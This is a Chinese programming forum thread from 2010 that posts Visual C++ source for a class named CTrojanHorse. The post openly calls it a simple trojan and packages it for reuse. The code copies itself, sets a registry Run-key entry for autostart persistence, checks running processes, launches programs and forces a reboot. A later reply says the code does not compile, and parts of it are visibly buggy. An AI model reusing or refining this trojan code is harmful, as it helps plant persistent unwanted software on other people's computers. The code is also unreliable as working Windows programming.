以文本方式查看主题 - 计算机科学论坛 (http://bbs.xml.org.cn/index.asp) -- 『 C/C++编程思想 』 (http://bbs.xml.org.cn/list.asp?boardid=61) ---- VC++实现的简单木马 (http://bbs.xml.org.cn/dispbbs.asp?boardid=61&rootid=&id=87920) |
-- 作者:葛靖青001 -- 发布时间:11/24/2010 3:29:00 PM -- VC++实现的简单木马 【转自互联网】 Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了. 本代码已封装成类方便代码重用 :1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能. 交流 class CTrojanHorse { public://add code public://add code CTrojanHorse(); ~CTrojanHorse(); protected://add code BOOL IfShell(CString BeKissPrcName); BOOL CopyFileaddr(CString m_CopyFile); void ShellFile(CString m_ShellFile); BOOL SetAutoRun(CString strPath); void ShutDown(); private://add code }; CTrojanHorse::CTrojanHorse() { //add code } CTrojanHorse::~CTrojanHorse() { //add code } BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行 { CString str,a,prcnum; // CMainFrame *pDlg=(CMainFrame *)lparam; //AfxMessageBox(pDlg->BeKissPrcName); HANDLE SnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); SHFILEINFO shSmall; PROCESSENTRY32 ProcessInfo;//声明进程信息变量 ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小 //返回系统中第一个进程的信息 BOOL Status=Process32First(SnapShot,&ProcessInfo); int m_nProcess=0; int num=0; while(Status) { num++; m_nProcess++; ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息 SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall, sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON); //str.Format("%08x",ProcessInfo.th32ProcessID); if(str==BeKissPrcName) { AfxMessageBox("找到进程成功!"); return true; } //获取下一个进程的信息 Status=Process32Next(SnapShot,&ProcessInfo); } AfxMessageBox("失败!"); return false; } BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile)//复制文件 { char pBuf[MAX_PATH]; CString m_addr; // CString m_strSrcFile1="D:/OperateFile.exe"; // CString m_addr="D:/SVCLSV.exe"; //存放路径的变量 GetCurrentDirectory(MAX_PATH,pBuf); //获取程序的当前目录 strcat(pBuf,"\\"); strcat(pBuf,AfxGetApp()->m_pszExeName); strcat(pBuf,".exe"); m_addr=pBuf; if(CopyFile(m_addr,m_CopyFile,FALSE)) { AfxMessageBox("复制成功!"); return true; } return false; } void CTrojanHorse::ShellFile(CString m_ShellFile)//执行所要的程序 { ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHOWNORMAL); } BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表 { CString str; HKEY hRegKey; BOOL bResult; str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"); if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS) bResult=FALSE; { _splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetLength(MAX_PATH+1),NULL); strPath.ReleaseBuffer(); str.ReleaseBuffer(); if(::RegSetValueEx( hRegKey, str, 0, REG_SZ, (CONST BYTE *)strPath.GetBuffer(0), strPath.GetLength() ) != ERROR_SUCCESS) bResult=FALSE; else bResult=TRUE; strPath.ReleaseBuffer(); } return bResult; } void CTrojanHorse::ShutDown()//重新启动计算机 { if (IDYES == MessageBox("是否现在重新启动计算机?", "注册表提示", MB_YESNO)) { OSVERSIONINFO OsVerInfo; //保存系统版本信息的数据结构 OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&OsVerInfo);//取得系统的版本信息 CString str1 = "", str2 = ""; str1.Format("你的系统信息\n版本为:%d.%d\n", OsVerInfo.dwMajorVersion, OsVerInfo.dwMinorVersion); str2.Format("型号:%d\n", OsVerInfo.dwBuildNumber); str1 += str2; AfxMessageBox(str1); if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新启动计算机 } } |
-- 作者:jp627156 -- 发布时间:4/12/2011 4:32:00 PM -- 程序通不过啊 |
W 3 C h i n a ( since 2003 ) 旗 下 站 点 苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》 |
46.875ms |